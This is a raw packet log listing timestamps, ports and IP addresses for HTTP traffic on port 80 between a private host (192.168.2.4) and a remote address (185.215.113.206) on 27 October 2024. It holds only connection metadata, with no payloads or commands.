Oct 27, 2024 12:13:28.071830034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071837902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071844101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071871042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071892023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071906090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071933985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071939945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.071962118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071985960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.071990967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072022915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072036982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072057009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072072983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072089911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072117090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072124958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072143078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072169065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072175026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072204113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072227001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072235107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072251081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072283030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072284937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072314024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072334051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072349072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072361946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072384119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072400093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072423935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072431087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072458029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072474003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072490931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072505951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072525024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072540045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072559118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072573900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072607040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.072844028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072871923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072921991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072971106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.072998047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073004007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073019981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073019981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073036909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073070049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073098898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073118925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073144913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073148012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073173046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073198080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073198080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073231936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073246002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073263884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073277950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073297977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073312044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073331118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073343992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073367119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073378086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073400974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073412895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073435068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073453903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073467970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073482990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073501110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073520899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073529959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073549986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073563099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073575974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073596954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073609114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073628902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073643923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073662996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073679924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073697090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073714018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073730946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073750973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073764086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.073774099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.073810101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111264944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111329079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111452103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111469984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111483097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111495018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111526966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111557007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111641884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111654997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111666918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111679077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111696959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111732960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111865997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111913919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111938000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111948013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.111970901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.111999035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112000942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112051010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112055063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112088919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112111092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112123966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112139940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112160921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112175941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112210989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112210989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112241983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112260103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112293005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112294912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112344027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112344027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112377882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112400055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112425089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112476110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112526894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112529039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112546921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112561941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112571955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112581968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112597942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112617016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112622976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112638950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112641096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112679958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112695932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112703085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112711906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112726927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112731934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112751007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112762928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112766981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112775087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112786055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112796068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112801075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112807035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112818956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112829924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112829924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112845898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112870932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112914085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112926960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112938881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.112973928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.112992048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113049030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113061905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113074064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113110065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113147974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113182068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113192081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113202095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113221884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113234043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113245010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113245964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113257885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113287926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113301039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113485098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113495111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113523960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113538027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113544941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113552094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113564014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113570929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113575935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113600969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113646984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113759995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113773108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113784075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113795996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113806963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113810062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113821030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113833904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.113853931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113877058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.113960028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114047050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114075899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114088058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114097118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114099026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114111900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114120007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114124060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114139080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114151001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114160061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114164114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114197969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114217043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114375114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114492893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114505053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114516020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114528894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114541054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114542961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114547968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114562988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114582062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114586115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114598989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114634991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114823103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114835978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114845991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114878893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114883900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114897966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114907980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114908934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114922047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114931107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114940882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114948034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.114954948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.114996910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.115006924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.115166903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.116020918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.155942917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.155972958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.156049013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.185599089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185666084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185669899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.185681105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185704947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.185739040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.185780048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185847044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185861111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185900927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.185923100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185937881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185951948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185969114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.185975075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.185983896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.186011076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.186042070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.187666893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187680006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187716961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187726021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.187766075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.187774897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187789917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187804937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187823057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.187860012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.187882900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.187927008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188213110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188235998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188252926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188260078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188287020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188304901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188339949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188355923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188371897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188385963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188390017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188412905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188455105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188491106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188507080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188520908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188549042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188580036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188585043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188596010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188611984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188637018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188673973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188702106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188716888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188731909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188746929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188761950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188760996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188791037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188798904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188807964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188822985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188834906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188875914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188895941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188911915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188931942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188945055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.188954115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.188992977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189018965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189023018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189039946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189054966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189071894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189081907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189119101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189155102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189167976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189181089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189197063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.189202070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.189218044 CET	49730	80	192.168.2.4	185.215.113.206
